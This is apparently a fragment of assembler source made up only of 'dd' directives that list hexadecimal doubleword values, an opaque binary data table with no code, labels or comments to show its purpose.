dd 0D82CC58h, 7200D8E2h, 63D778C2h, 435FA0h, 0FB31B5Ah
dd 5BEF0783h, 50A23000h, 0BD1AA146h, 9AA5030Dh, 0DF098F4Fh
dd 2FF8FDC8h, 0C8248B26h, 0D8595C00h, 15003DCh, 0BD880451h
dd 0D04B15A8h, 4E009019h, 0A1FE6BD1h, 946FE825h, 82850060h
dd 0B2BC17C6h, 35490800h, 8B7CA7FFh, 643D0444h, 80CE50F5h
dd 5319C9AAh, 0B5113A01h, 0BC42A4F4h, 0AE406C1h, 631400BDh
dd 0E1BBCA13h, 20C0F527h, 939537ABh, 3F21005Ah, 0A2A791BFh
dd 0C717481Dh, 0E820C1F5h, 0B3EFF2Fh, 0ED72A42Ch, 2B4B8700h
dd 74397E3Ch, 56C400BEh
dd 0C2DEB8FEh, 731C00FAh, 0F862339Ah, 39008F19h, 0A6C5B0EEh
dd 0FDFB80h, 0C6464870h, 9D08171Bh, 8E151C0Ah, 100A895h
dd 0B28054B5h, 0BC0C502Fh, 57B400F2h, 69565A87h, 60000E8Ah
dd 0B11DA926h, 70935ACh, 0E7EAD029h, 8ADCB040h, 660F2D58h
dd 0E0A64656h, 7F309F25h, 4516001Ch, 7461B437h, 1900EBADh
dd 0BB6394D3h, 7AA3CDh, 0FCDF3115h, 951B7F7Eh, 2001F8B0h
dd 21291FAFh, 0DFDDF835h, 1DAA0474h, 80143FE8h, 0A31FA7F7h
dd 1E037612h, 5942720Ah, 56283862h, 6330D730h, 66F202ABh
dd 8C1F083Eh, 0E13FEC9Fh, 781203B0h, 89C71770h, 0FC57DAC0h
dd 0E2ADCD00h, 7E5E5513h, 0E44C036Ah, 5429E925h, 0F8A12FD0h
dd 1A83DB00h, 7A20E5EAh, 233033C3h, 0D4D0E0B0h, 7B209876h
dd 0EDE800F3h, 2B29C71Ch, 0E9184879h, 0B1111E15h, 0ECB8A0E7h
dd 7383007Ch, 8F215927h, 28E8241Ch, 0DE53F914h, 87207Ch
dd 0FFA7F613h, 0D52169ABh, 5F973B00h, 1B184CF2h, 49731D0Ah
dd 0AF64E6h, 0FF601F89h, 2A48D108h, 8A007527h, 0D9A1223Eh
dd 1DE37FEh, 9DC94C6Eh, 0F199F64Bh, 9BE1D4D2h, 7DD6F51Eh
dd 596CB783h, 50FAF0D4h, 512A0EAEh, 0B2C044AAh, 0E7799545h
dd 1E7EA300h, 8011EE01h, 2640005Dh, 33DF602Eh, 93009BB2h
dd 34B77C29h, 4C25976Ch, 0F5004EF2h, 0C6E3CF0Eh, 1400376Dh
dd 1CB965FAh, 3C84EB6h, 17F1A98Dh, 0C54ACAh, 393B60FAh
dd 0BE384F5Dh, 10832696h, 532F00B9h, 0D22A4E3h, 55E87Ch
dd 4B85DB5Dh, 6054469Ah, 8FD49100h, 8884D77Ah, 38F066h
dd 639D3EAAh, 0BB270C86h, 0D430B04h, 4090D407h, 62E856h
dd 0F19444A1h, 9D092285h, 0CB64CE00h, 8DBDAB24h, 44A31E3Dh
dd 43764E7Bh, 7020034Ah, 16432EA0h, 0DF00A7Fh, 80F02AF4h
dd 0B3421003h, 47078721h, 1F949F5Bh, 24906E44h, 19599869h
dd 0F98E301Bh, 5EB36061h, 0E976FC00h, 903F99CEh, 0DE810F43h
dd 8073B9D7h, 0B5DBF2C8h, 0BC5EEA07h, 0F8E37FCAh, 308249Ah
dd 2A3D8084h, 12BEFBEBh, 2D056C7Ch, 0DF33206Dh, 2068242Bh
dd 0A9378024h, 12619585h, 27292F00h, 0A160569Ah, 0E3D90707h
dd 0C0E83E9Bh, 89DB32D5h, 1ED07E60h, 0DFEC5455h, 0A1B73948h
dd 91D90419h, 0E82D50E4h, 7906A4BCh, 35A3E3E0h, 0DA30C548h
dd 0CA45F0Dh, 2768ECE1h, 0DB1040F1h, 5580F1A3h, 0F36A29F0h
dd 42D381BCh, 18FF20CAh, 3B268871h, 0F1935909h, 0D635802Dh
dd 60FEAAD4h, 18FB41E6h, 2304F043h, 6EF459F3h, 91053CD7h
dd 0C84AD440h, 0B3BF87h, 40B1807Fh, 70A507E7h, 7BC02554h
dd 3B26A174h, 7740605Eh, 9CC33ADh, 3FF4531Fh, 46F6C187h
dd 0D40031EEh, 673233B6h, 0AF9B144h, 0E4C81EB0h, 0AEBE80C4h
dd 558D0B89h, 0A800E0F2h, 680DB6D5h, 681A43Ah, 0EA07B77Ah
dd 72078131h, 9269F046h, 0E8DFA8A1h, 0E48E8h, 8CB26CB8h
dd 3035687Ah, 5730FFF4h, 0C9A4D881h, 0E62F0FB8h, 0EB40E931h
dd 3771B02Eh, 0DCF92467h, 1E9EC130h, 0B9A700BEh, 361AA320h
dd 241F05C8h, 981C89F4h, 303C950Ch, 0EC5E33E9h, 0EFBAB2E1h
dd 6840D6C2h, 0BA49D7D1h, 0EAB88244h, 48CDC15Dh, 5C4C4423h
dd 0EB29A680h, 0FF523F1Fh, 65B300D4h, 0D00470FCh, 54FB22BCh
dd 12556316h, 458C9002h, 0CBCC4111h, 42045A18h, 1F97212Dh
dd 0A3232632h, 77ACB04Eh, 65F296h, 0CA11B07Ch, 0F4F93322h
dd 5B032C0Ch, 0FFD9E8h, 32619DE5h, 0A653F83Bh, 4235D700h
dd 0E3F2CC91h, 50C6002Ah, 76280D9Dh, 6312C889h, 0C3053E5h
dd 23C23267h, 7218E31Fh, 0B91621h, 87765033h, 0F0BA1BA3h
dd 862E4804h, 0C4876422h, 0FCFE6300h, 0CC4E5C68h, 8C698850h
dd 2F425C02h, 197AE721h, 0E41D102Bh, 0DBFD0026h, 0D4EC2D3Bh
dd 0CCA0E68Eh, 0E2FB036Ch, 12C0806Bh, 600019C0h, 0DE7FFF08h
dd 0E880A755h, 9521C3D8h, 73F019C8h, 7A0A6783h, 2029036Dh
dd 0C519C140h, 2277460Bh, 699409A1h, 0C2007C20h, 399F3BDh
dd 10023FB0h, 0B930AC32h, 0FB8449BAh, 0ACCCFC24h, 426102ECh
dd 476F20B8h, 14107519h, 2B0959E9h, 80834E74h, 586E8C60h
dd 0A13500C9h, 82F26804h, 5C066AC6h, 5E15E293h, 3F3C0010h
dd 6B1FB9BBh, 0A0704ABEh, 3162E658h, 0A719205Fh, 1E73E8h
dd 4B290435h, 9DE3AB88h, 0C681EA00h, 84992362h, 5F440059h
dd 5DFF03F0h, 0C8003F1Ch, 0BCFCF938h, 6E8626Fh, 68EEE5FBh
dd 21F38EDh, 0B85257h, 845C3C18h, 37D9FA72h, 9078453Fh
dd 0F3B89C5Ah, 0F712DF2Eh, 0E986761Ch, 0E40F8DCh, 8344EF5Ch
dd 1DEBC898h, 0A400B1DFh, 0C5224E41h, 20C76714h, 0E286C128h
dd 11BF1Eh, 45CAD5A4h, 334340B9h, 1D088901h, 19C4210Eh
dd 0AE1AA0D4h, 7A4854h, 0E0AAA7Fh, 0FABE0FE1h, 0EB21A526h
dd 485E7030h, 0D48E3E39h, 40EB150Ch, 8F67E89h, 6745F01h
dd 5EC1E16Eh, 8066B16Fh, 8310121h, 0EA9A42Eh, 7D19D3D5h
dd 9AEA6B60h, 0A758DC9Dh, 616F784Fh, 0C8CC05F1h, 27B6DC20h
dd 8D0A0C72h, 24105577h, 0D7EEC00Ch, 4CDE319Dh, 4133B2C7h
dd 0DFF89A30h, 0D7792125h, 0ED94BB05h, 0A04EC583h, 58069290h
dd 7105D48h, 5F9FBC66h, 0C661400Eh, 62745645h, 892180EDh
dd 9AC49E5Bh, 7FE00734h, 0B12B0458h, 80420871h, 0C34699E1h
dd 2AA97EB4h, 22D42337h, 2B014062h, 1E4C4964h, 4452FDA9h
dd 9F8F3004h, 640E3A08h, 31D96660h, 9F86CC00h, 77B51F99h
dd 0C43354B8h, 3B028C13h, 56759108h, 100D196Fh, 0F9357h
dd 0AC5112B6h, 36E23296h, 0A750D60Ch, 2C69D2h, 0BC17103Fh
dd 0AFDC29C3h, 96568903h, 0E8DD9120h, 1E6B7587h, 818DA0FDh
dd 9B9DBC7Bh, 5E24C4CAh, 3108BC91h, 0BBC960E3h, 0E6E61E13h
dd 97194486h, 81DFAD3Fh, 6B634CAAh, 5DF0C465h, 5CEF4009h
dd 95945307h, 16D3F1CCh, 7151B858h, 0B2825075h, 0F4F45212h
dd 297B57C7h, 67928804h, 0AF04D405h, 888C4719h, 2000F5F9h
dd 3C00D415h, 6A1E466Ch, 0D7A9C4h, 0DCC71B71h, 0F4FDFA36h
dd 3DF73Dh, 8151C2CCh, 6DB54Ch, 0F1269680h, 55E62D8Ch
dd 0EF002CE8h, 5B1A4EB0h, 0BC97DD5h, 0A85ADF43h, 0C01099A4h
dd 3CB71EB9h, 0B9075B00h, 8BABCEF6h, 6B4F28Ch, 283F362Bh
dd 0E200B079h, 0DF308FD9h, 0B14C7h, 8FD60AFh, 5873E49Fh
dd 5AE0E200h, 0C427CDADh, 92F20039h, 0E159810Bh, 67004A3Fh
dd 0B01712EFh, 1C939Eh, 0A11F5AC9h, 3DA964ABh, 35341B1Fh
dd 8FB58580h, 0CDA3F3h, 0FEC8C4F9h, 818BA1CCh, 59E85000h
dd 196DC588h, 450D0052h, 3B8DBF99h, 0F002BFEh, 0F73C90D3h
dd 1FB07E78h, 0DF63858Ch, 46200119h, 40E4E114h, 0D9531D80h
dd 62800160h, 301A0E71h, 2B400B82h, 0BF00785Ah, 0C241CD1h
dd 18766160h, 8052FBA1h, 6D00CF9Eh, 1C4158D5h, 115F82h
dd 0ECA2B4D3h, 136CBCF5h, 452C9014h, 179F14F0h, 0C97F0A80h
dd 0EC0C041h, 211ED6DEh, 9C913D67h, 36566E00h, 8A67AE2h
dd 0C734FE00h, 0F5B7AA9Eh, 8D500011h, 5BA1A560h, 58074722h
dd 8AEB8E82h, 1DAB2330h, 79520E8Fh, 0F4E7E9FDh, 92CF904Ah
dd 28001956h, 265ECD35h, 8EF5983h, 151A60Fh, 0F660AEE1h
dd 0C58E6100h, 13DD39h, 0DA8ADB94h, 0A06735D8h, 0EFBCBE0h
dd 337A8365h, 3615CEA2h, 45810043h, 0D143D4F8h, 57F1E001h
dd 0CDA21F95h, 0F920ACCDh, 0C01C5088h, 21D300E4h, 0BAD41644h
dd 306077C9h, 0C8C545C1h
dd 406100E0h, 59BC24E6h, 7D00D911h, 9E20EA98h, 90EB3A08h
dd 0FA070040h, 8AB27105h, 0BB3B404Bh, 1104FE92h, 0F6E4CCFCh
dd 866208Ch, 6552126Dh, 754056C4h, 69C578A3h, 0CB7E9C00h
dd 9AFF5839h, 0A9810047h, 7624DDCAh, 50001916h, 37346D03h
dd 7309C1h, 0BE9E0F96h, 8282FB1h, 0FFE3A100h, 20589CD6h
dd 0C0AF1EBCh, 3E24433Bh, 400014AEh, 85978AA0h, 40F4F1h
dd 0E4E8C33Ah, 0B39B0D66h, 107D3700h, 80714A25h, 0CDA40147h
dd 0F5F60CD9h, 49A0246Bh, 6DC19202h, 66AA505Dh, 81FB02E8h
dd 7E840E36h, 8810DC19h, 72059F92h, 6DEDF5C1h, 45F088h
dd 0CAC35308h, 1AEBDE55h, 0CE29402h, 90AE5C91h, 881F530h
dd 62540E38h, 640D364h, 92CE9F93h, 0F2E8D3Eh, 9D5DB9C8h
dd 50C22144h, 64A978D2h, 0FBDE00FCh, 25DACA6Ch, 8D01439Dh
dd 62B50B55h, 0E8C39F1Eh, 199C32Fh, 83FBEB80h, 0F7F4BBC6h
dd 0C71607C0h, 0F25C8C0Eh, 7784C0F5h, 0B238FCBAh, 0C21F004Ch
dd 0B09DDF75h, 0D700E06Dh, 0F18CF0B1h, 1332D0h, 2C742994h
dd 0BA82B09Ch, 8FAF490Ah, 427120F2h, 5C6930FEh, 613866E9h
dd 31E1C9Ch, 0B52A3866h, 0BA9C0080h, 71BD8DDFh, 200011A5h
dd 375BB887h, 0E4587216h, 57BA0379h, 0EA42AFCCh, 0FAFAD8D9h
dd 3A04B4CCh, 5E77F408h, 1E200B62h, 210832h, 0E2532A43h
dd 275D0F1Ah, 6949B507h, 5041B09Eh, 9C40438Ch, 60E48A1Fh
dd 0CFA3E0EBh, 18C25E18h, 0C2FA3F7Ch, 0BA7015A8h, 69855FA1h
dd 0EFC1D78Bh, 242984A1h, 5D4F9E08h, 177A60Bh, 0F84C8C9Ch
dd 9CD1E844h, 498045EEh, 57C3B56Ah, 520E8C8Fh, 0BD6D5644h
dd 4CB0CA00h, 7B06E6CEh, 0E03909Eh, 3F16D723h, 0CDDFFA67h
dd 50B4DDC0h, 0E2293088h, 7EF9748h, 8112F01Fh, 582EF8AAh
dd 0DBB4215Eh, 3A4BD082h, 0ECA6320h, 0E351CBB9h, 3E7C1F90h
dd 11EA0E0Dh, 4FA92040h, 0F171C19Eh, 4076B912h, 3D8547B8h
dd 0E97B7300h, 1E833354h, 0CA7E0B97h, 4E003A43h, 0F0E4949Eh
dd 0E6D71B15h, 60EFEC04h, 5777118Bh, 2100A6D5h, 0E86B527Dh
dd 39CD27Ah, 4F13879Dh, 0BA807E1Eh, 0C07BDA9Bh, 52007B7Ch
dd 0C67DF6B3h, 5095B616h, 0CE34CB8h, 0A5849DCEh, 3424A50h
dd 1F764F0Eh, 0D704B4A0h, 0A7074445h, 0FA535590h, 7AF69FE0h
dd 5EE23Bh, 0F13A1BD3h, 22470CCBh, 0E7CEE018h, 0F974AF60h
dd 439C188h, 63DB0503h, 10590027h, 6FDFF8E9h, 3A480A6Dh
dd 0D4B015CEh, 78081070h, 0AD8EC300h, 809A01F4h, 62B1643Eh
dd 0EC459E8h, 0C7A4BC24h, 5E4800BFh, 0B53076F5h, 7439E99Bh
dd 4CCF5693h, 0B7692Eh, 45371D0h, 0F25468F4h, 0C2142BB4h
dd 8194E963h, 0F34FF8E0h, 34CFA980h, 534CB7ECh, 0E9489C14h
dd 447AFF4h, 1EB001ABh, 0B763B52Ah, 6E0440D6h, 0E4C75157h
dd 48635D8h, 2013F25Fh, 9C0480ADh, 92E8B2Fh, 3D0CAEC5h
dd 447928C7h, 0A8447390h, 648C444Bh, 11F23245h, 0A0E70881h
dd 883AF828h, 39888D41h, 0AD438832h, 0CCC50A01h, 26235779h
dd 89D830h, 4A9DCF83h, 7452D03Fh, 1302D07h, 3BF784B5h
dd 0B8EACD03h, 0FA7A03h, 0F562CAC5h, 7DC8329Ah, 727BBE01h
dd 0A9BB2548h, 0B7F01BC9h, 17433AE4h, 45913C80h, 76465685h
dd 0C6401E1Fh, 2BF91040h, 8BF1A7h, 0EC72FB61h, 231F998Ch
dd 2274400h, 0D35D2FAh, 3BB500DAh, 0EC1E3980h, 9300C163h
dd 7CA8D6Eh, 0EC51F6FDh, 0C254241Ch, 1F293C8h, 44D16B0Ah
dd 2091E185h, 2C1D0593h, 7E401230h, 84A6E2C7h, 0A9670007h
dd 9B0C6F60h, 2B009F6Bh, 68830189h, 4CC6211h, 0B2803A27h
dd 86B491DCh, 0A5D88053h, 2CBB0AC8h, 9DAC00D2h, 1A5AB7B3h
dd 0A67B8B42h, 4FA82B01h, 0B6AD4EF2h, 3E703BE9h, 37E454h
dd 6E593582h, 33A8DF09h, 131FB300h, 0DE9A7129h, 4AD600F3h
dd 0D459609Ch, 0B4000C5Ch, 51412B39h, 0E2500A42h, 867C01BDh
dd 0DA6A3801h, 33730D2h, 0A725E900h, 0AD178216h, 67B70099h
dd 18E40752h, 9300E07Bh, 71AA3809h, 39EBC9h, 0FEFFD2F9h
dd 42166C91h, 807E2B3Ch, 0C99BF563h, 0E804F08h, 11143A25h
dd 0C6B7D360h, 56016610h, 0FDCCD9F8h, 8C40C384h, 115DB6Bh
dd 9EBD6AC1h, 0D8DD3CEDh, 0F2075229h, 0FF66A19Ah, 36E80BC0h
dd 0A6300001h, 0D5BE6E4Fh, 0DD027E5Fh, 3D6BE692h, 2AD18047h
dd 5439CEh, 4A24C775h, 5DA60DB2h, 5766D202h, 60BC2005h
dd 1DDACCh, 799C5FF5h, 74F2085Eh, 0B7FC1700h, 0D7E114C8h
dd 952C3E5Ch, 62032F87h, 290F0CBh, 0D3017F66h, 0AE6972A9h
dd 0E4CD5B5Ch, 2663DCh, 0FBB4B717h, 0F458D387h, 0DD0036E0h
dd 0B20B5EB9h, 0C02ED6h, 9D796FEEh, 1F5D5B86h, 50D8C404h
dd 1200F11Bh, 0BDC135A7h, 42DAF24h, 0C649400h, 1C166F39h
dd 82E157FAh, 8B0EDBB0h, 0B86DE0FFh, 66B00C8h, 0DD4A232h
dd 5500339Ah, 87EBFFD0h, 3A7A19C1h, 9D83683Ah, 8830461Bh
dd 32163EE8h, 0E7A0F500h, 0AD6EFB9Ah, 0CEDA0052h, 40AE5A0Eh
dd 563829B3h, 0EEAB80D5h, 0DBC94A4h, 0E0DC0522h, 814F8068h
dd 0FB672323h, 11078CD8h, 61484B01h, 6D3119C9h, 0D07BE0h
dd 871829BDh, 52D5CF9h, 0F7A7CA0Eh, 0B2024E99h, 0B871E300h
dd 0F0319C7h, 0D9CCBB83h, 2E008834h, 0BD434696h, 0D81CB8EAh
dd 5B00551Eh, 859371Ah, 234F0039h, 3FE42AD5h, 0F000E3B6h
dd 801207ECh, 1E01C8BAh, 4016DE8Ch, 9E904769h, 8FFCA8A3h
dd 0BA3BF200h, 1B709387h, 6F681FEBh, 0B1834E1Eh, 7EF0A4CCh
dd 3C5B6C00h, 6BE10384h, 0BE1E0014h, 16FBD122h, 0EF0035ABh
dd 60B4D45Ah, 6798C8h, 0C4A81A5Fh, 193BEE12h, 41439E00h
dd 306B3D9Fh, 0FC225C4Ah, 0BEB5D200h, 0C55C5E81h, 0C902FB01h
dd 0E5ADE97Eh, 34846E0h, 9003F779h, 0CCA0C152h, 0CE0004B7h
dd 0AA1C61C4h, 31A60BC8h, 6A21E23Dh, 0EFB0CCF2h, 0BBE05000h
dd 1E408D26h, 0FB37B8Fh, 2DE71C4Ch, 9A774E81h, 0A9A8F083h
dd 3BE0EA00h, 29F6268Bh, 0D1A00093h, 0CD38BBBEh, 5EEAA3ADh
dd 71C4DB00h, 325CB2Fh, 0AB8F00EBh, 289279FBh, 9B00D6F5h
dd 4840D201h, 72063F7h, 0A9B8BD42h, 0A85800F1h, 0EB003C4Dh
dd 6766AE7Bh, 3A761D4Ah, 9DA64F9Bh, 14DE0088h, 5CACF953h
dd 8F4E091Ch, 8549CF00h, 0FF22C3h, 48F3BFE9h, 0A0B0D3BBh
dd 5C0320ECh, 0AC31DC70h, 0CE8DD83Fh, 0D91002CDh, 94EE8257h
dd 9D8F0AAh, 0CC2016C9h, 0B1C1CF9Ch, 0FE0E34E0h, 209487D0h
dd 668E0CEBh, 790F0F3Eh, 318085DEh, 89BEA7E3h, 15073Ah
dd 0B402CAA6h, 42C0435h, 9B61DE7Ch, 0D6B98020h, 5BF2B83Ah
dd 0EC2A4B00h, 0B11CE68Eh, 48027A47h, 0E81FE8FAh, 90FE4080h
dd 0FC855566h, 65113B1Fh, 0A63DCB04h, 0FD8488h, 0E1E7DD0h
dd 217F09BEh, 0EC592616h, 0C52EAD01h, 0B6E4803Dh, 0E3DC00CAh
dd 0F72FA9B4h, 0FC031517h, 4D2454CDh, 8801E0A5h, 4F0403BFh
dd 17FEA4D2h, 8BF96C90h, 0E0D8D700h, 2C9CE50Fh, 25BB00C6h
dd 0A3F28C7Ch, 887D6D33h, 28A3100h, 75CAAB3Dh, 0E4830721h
dd 602D8625h, 0B370F891h, 203EBD1Fh, 6DDBD541h, 460607Fh
dd 0C7590054h, 1B7E3474h, 41E0CCBh, 0A6C01D0Bh, 3DC8E52h
dd 0B69800A0h, 825B562Bh, 65DE9BFh, 15E50080h, 0FF6FCEF9h
dd 9A87D91h, 0A7A920ABh, 0DCCB7480h, 693F1068h, 98930025h
dd 0E437C84Bh, 7DD40729h, 26D3BDBBh, 0AD032068h, 3D6578BEh
dd 4810006Fh, 898F2F49h
dd 380D117Fh, 78D17D9Ah, 505D58E4h, 396D44Fh, 1E86D28Bh
dd 4CE94E71h, 0C641806Dh, 3639F669h, 5FAB057Ah, 0C0F5427Ch
dd 5E8A2434h, 9F440200h, 0C0A1D012h, 903F00DEh, 99E28432h
dd 700B80Ch, 8C208E0Ah, 0AB5D1Bh, 0F9B6A50h, 8F85597Dh
dd 0BB2ED400h, 729F5784h, 0A3D600CCh, 2FB89352h, 0C1B5EBBEh
dd 6CF0AD4Ch, 0CDE60077h, 14C3D5D4h, 4A00E316h, 1C302191h
dd 677C11h, 0A63893F1h, 7E64BBD4h, 5FC3F801h, 3BF77A4Fh
dd 0CB2C60h, 605E1A09h, 0BAE6C285h, 0AC077E00h, 6C5F0F95h
dd 0B663281Bh, 8AF0A2h, 9F11CCC9h, 86EF1358h, 87FCF807h
dd 8A0E14Ah, 58F462Dh, 686BBC48h, 9DA0C007h, 0D9021705h
dd 30AB617Bh, 0C1946011h, 0F6161673h, 0AD1000CDh, 751301AAh
dd 5F812400h, 2FF8800Bh, 0D7090098h, 87F02D71h, 0DA14EA40h
dd 3FEE175Dh, 0D9BC0974h, 0E5BCA3A7h, 0DE94F8F3h, 76EB00A2h
dd 1CE4B279h, 15003D48h, 20B126FDh, 9D7A3Eh, 0CF6F040Eh
dd 3F1EED1Fh, 9A94D800h, 9220141Ch, 4B4E01F3h, 0EE370B7Fh
dd 347D3091h, 0ED7BF600h, 0A126F1DEh, 66D90008h, 0FD4DB71Ch
dd 0A600BD32h, 0F0E59864h, 0EA353A0Bh, 3E9C030Ah, 8DEC588Fh
dd 0F4D272E1h, 0DE7C86C1h, 974C2500h, 0AFC550BCh, 0F5F60Fh
dd 0B1FD1E3Fh, 0C0248B46h, 7F331239h, 607E582Eh, 0CA6B4400h
dd 0FBBA7C8h, 674E9248h, 9158AE00h, 4402C164h, 0CB0817A4h
dd 97D8E0EBh, 0B3A10051h, 0F7DAFED5h, 7E00D189h, 0E97A8082h
dd 3A6F157h, 282DEA87h, 0D3B81E67h, 8E00A72Ch, 0F5E465DBh
dd 0E2D76CBDh, 0D62F3E0Dh, 14913A00h, 1E4DD399h, 82C72913h
dd 0C6DFD701h, 13CDA45Bh, 3B109C28h, 0D34D842Bh, 5F21F03h
dd 509308B0h, 4C4C4A70h, 0DC903D04h, 8C5A137Ch, 0D5C07C80h
dd 0E7C63047h, 0A4B94E28h, 80E06B4Ch, 0E6B01D17h, 84365887h
dd 0BEDD900h, 995074D2h, 654CCAA1h, 0C0DDC0CCh, 6080F003h
dd 0AB7BCC49h, 3D1001C2h, 0F231715Eh, 0F119D47Ah, 0C7409E00h
dd 0A4E1B986h, 7C1C09D1h, 88EF82Fh, 4B7F0220h, 1500310Ah
dd 218C253Bh, 959B4Fh, 0F432226Ch, 0FAC49F0h, 0F2946B17h
dd 0CE14BA00h, 0FD60E5Eh, 4CB850D0h, 6FE3F000h, 0E2000BE5h
dd 6D8B1767h, 0DD37EDh, 54620F5h, 0AF73A5ECh, 0AA852A00h
dd 0F99B4A86h, 5F4000FDh, 274E21A9h, 2C17EECCh, 3400DBA3h
dd 0D51DBCB4h, 846A07FDh, 0F06ED315h, 0D9E44A95h, 5FD49300h
dd 6C1ADAAEh, 0D8FD483Ah, 85F2C800h, 3398500Ch, 0D638A700h
dd 2EC15DE2h, 0AA08005Ch, 5FB03778h, 0A3F049DFh, 1136420Eh
dd 0AF1E20E2h, 1F8694F8h, 0DDE833h, 6A493F91h, 7700C963h
dd 0F0939978h, 53C02Bh, 0EC50BF74h, 0DBA5AFE9h, 0CAD7F503h
dd 0C979928Ah, 0FB60519Fh, 344F00D3h, 77EF2160h, 0AA00393Eh
dd 3A2C9EC6h, 5F192h, 2D7A11B0h, 2882745Bh, 9EF61800h
dd 80525875h, 7E7B053Ch, 0C33EFD94h, 38A8ED12h, 0D400A10Bh
dd 7C0C24B8h, 46E0F4h, 0C9677107h, 0CBCF2991h, 864E9500h
dd 9B600ADFh, 8D62054Ch, 0C0513744h, 159FE3A5h, 8099D03Eh
dd 0D519D460h, 0D3E861h, 7CA16DAAh, 41F308E0h, 660C6300h
dd 0C8B08099h, 0B3F81FCAh, 0C0DCDD10h, 845F6893h, 5000AEDh
dd 0BBA9E8B1h, 25EFADEEh, 7080A01Dh, 8ED211DBh, 528D700h
dd 94E52707h, 5C41003Ch, 96DC2119h, 0FA70EC70h, 0DF724200h
dd 501C1BFDh, 6FD400ADh, 0D314EBBAh, 2B07DDBCh, 0C277DFF0h
dd 9AE0DAC0h, 423738E7h, 2DBCD680h, 8B1D8F7Ch, 55E10F00h
dd 0A179E038h, 6115094Dh, 0BC020886h, 0FDC0F2B5h, 0B1003FD6h
dd 0A3F4145Bh, 4F57D89Eh, 51580907h, 37C3F410h, 0AD2AA400h
dd 44BEAB38h, 50CB005Fh, 0EDA74A0h, 4503B03Ah, 0EC2825F6h
dd 0E0F0ABAEh, 241254h, 0FCEBF702h, 3449D50Bh, 0A75E8001h
dd 48CF04E6h, 6092EE20h, 51F0703Fh, 34921873h, 0EF94D400h
dd 2CDC7E17h, 523C1E27h, 0E95449F9h, 0E1127880h, 0A602998Ch
dd 0C491AF8Bh, 0DB36C0E8h, 0C9390287h, 0AE1490FFh, 405E4602h
dd 603F75h, 4CF59422h, 8DBFCFD7h, 0F0036478h, 4193FE38h
dd 8C339059h, 0E1655CD4h, 0A1847C00h, 0B64881ABh, 4911C500h
dd 2D579AEFh, 186D003Dh, 0A669B1C1h, 0BC0F7656h, 41E7101Eh
dd 533F3916h, 0D0A0A4F1h, 257AC0h, 0B2CC3240h, 0F0F37C1Eh
dd 22185807h, 3D077EE5h, 791145A0h, 680E0A3Fh, 8C0514h
dd 12C4C7A9h, 3E7ECE87h, 1D655900h, 6BDA7E3Dh, 6322C86h
dd 739C30C4h, 0C300EE61h, 5C366C75h, 2E62F47h, 0AF62FF20h
dd 88401F29h, 0B4B0BE01h, 7E107500h, 4A02AABh, 2BA400B8h
dd 0A6E3DDD5h, 827355EBh, 0C3912D00h, 0FB399587h, 3A1F07BAh
dd 2B6AC959h, 0B39AE683h, 0AF7D87E0h, 0BD6B6600h, 3D5EA4B7h
dd 56350014h, 6EA6FE05h, 0A1FF773h, 39D884Dh, 35B75280h
dd 92EB6BE3h, 9DE90138h, 0F4CFC927h, 11042072h, 237B4800h
dd 697A774Dh, 8EE500B4h, 0CC2BF747h, 7960A7DFh, 0DBFDC898h
dd 0E034B0Eh, 46196B0h, 3D61D289h, 8126009Ch, 95AF2ED0h
dd 0BC7B161Ah, 0F8B501FEh, 0C1F19427h, 2A6B2055h, 0E30AE67h
dd 0D5E0E630h, 0FA3E0064h, 6CDB15DAh, 794C7774h, 0A875001Bh
dd 366987F5h, 0F13F494h, 72DCECB2h, 0AB498420h, 85003993h
dd 19BDA6BEh, 767B1F6Bh, 0B5C5004Ch, 931377B6h, 0F5002789h
dd 0F8FEF7AAh, 7352D0AFh, 2E88909Ch, 87C482E3h, 20662B44h
dd 2E08D2A5h, 6F41881Fh, 482E851Eh, 0E1714C00h, 0E03467h
dd 0CE13F593h, 0D9EC1941h, 3966DD1Eh, 12BC77C0h, 1B0944Dh
dd 0CCCFA8EFh, 6F8067EDh, 0E7A2C900h, 0BA1DF4h, 0D3A1E604h
dd 0F0BCC361h, 0A77FAE78h, 0C6521600h, 95556777h, 7B0E9090h
dd 0D4EF00F2h, 305E3BE3h, 1A000DE7h, 0F5FA5256h, 7B727D24h
dd 9D76034Ch, 13DEF483h, 270F1D90h, 4A04080Fh, 0CC9440A7h
dd 0E8E6B5Dh, 2F1A2811h, 0FA7F8AC3h, 0D9CF1490h, 6FAF3600h
dd 0A9E917F4h, 3BD80234h, 74CC5E78h, 6944F9C0h, 324B1600h
dd 0FB23DA47h, 53F60767h, 0C12F8D21h, 0DC731B1Ch, 5201D97Bh
dd 9C36FBCEh, 0C8717085h, 36DA2F0h, 15B784D5h, 13F13182h
dd 857EC08Bh, 0AE6358h, 9DBE865Eh, 711F5E5h, 0ED934238h
dd 0B8DFE13Dh, 2365602Dh, 0B27A122Ch, 7D15C300h, 190FBAh
dd 0A093D0EDh, 116A17CDh, 0EA6E8D00h, 43F8A64Ah, 772B07CAh
dd 0EEA1A39Dh, 9CBB7360h, 0F1008D0Dh, 83A953BFh, 19D040h
dd 9BBD8C0Ah, 151C3ABEh, 730BE690h, 88D291h, 10C3EDB6h
dd 676A0094h, 9E112095h, 0D1149222h, 0E105288h, 98676BFAh
dd 0E643E98h, 4C305934h, 4AE8E581h, 0C4C1F318h, 3680FF31h
dd 6800FD1Fh, 0EF88D3F7h, 0AF9371h, 9FAC2467h, 0F1D8EE07h
dd 441958C0h, 5EAA65h, 7B0E703Bh, 63130740h, 78297F00h
dd 0DD0BDFF9h, 713F3B5Ch, 77104881h, 0D96AD9F7h, 0C3908512h
dd 281839EFh, 0C08B7C71h, 1E855FE8h, 10A0D7EEh, 1100FE74h
dd 0B063790h, 589EF3h, 0D42176Bh, 149C9F94h, 0CA23A707h
dd 0D26025B3h, 1435B0B6h, 0AC0D2A24h, 6413E200h, 0B75D0A1h
dd 0EA83B3Eh, 20EB6F72h, 979B04EDh, 4BD90041h, 187DECD4h
dd 3200390Ah, 0EE6C3B81h, 0C05898F4h, 0B8421DB4h, 2003DE19h
dd 3C298715h, 0E1DB92CCh, 0B080C20Dh, 1F6175A3h, 0E70E2021h
dd 2A05CFF2h, 0BEBBCC0Eh, 0B8B400F0h, 7553C4DCh, 0A53300E8h
dd 8FA35983h, 0BC02B3F9h
dd 12EDD630h, 7D98A10Eh, 61B80193h, 0E07C2514h, 0D217797Ch
dd 0C03F1D59h, 125161F0h, 0FF1D446Bh, 0E1000D9Bh, 2921C722h
dd 7E3B005Fh, 0E2EBF4C4h, 2303A69Fh, 4F30FEAFh, 41A8A003h
dd 0DE841D15h, 58FB8335h, 0F4F02C8Eh, 1034AB5h, 5F6BD1FEh
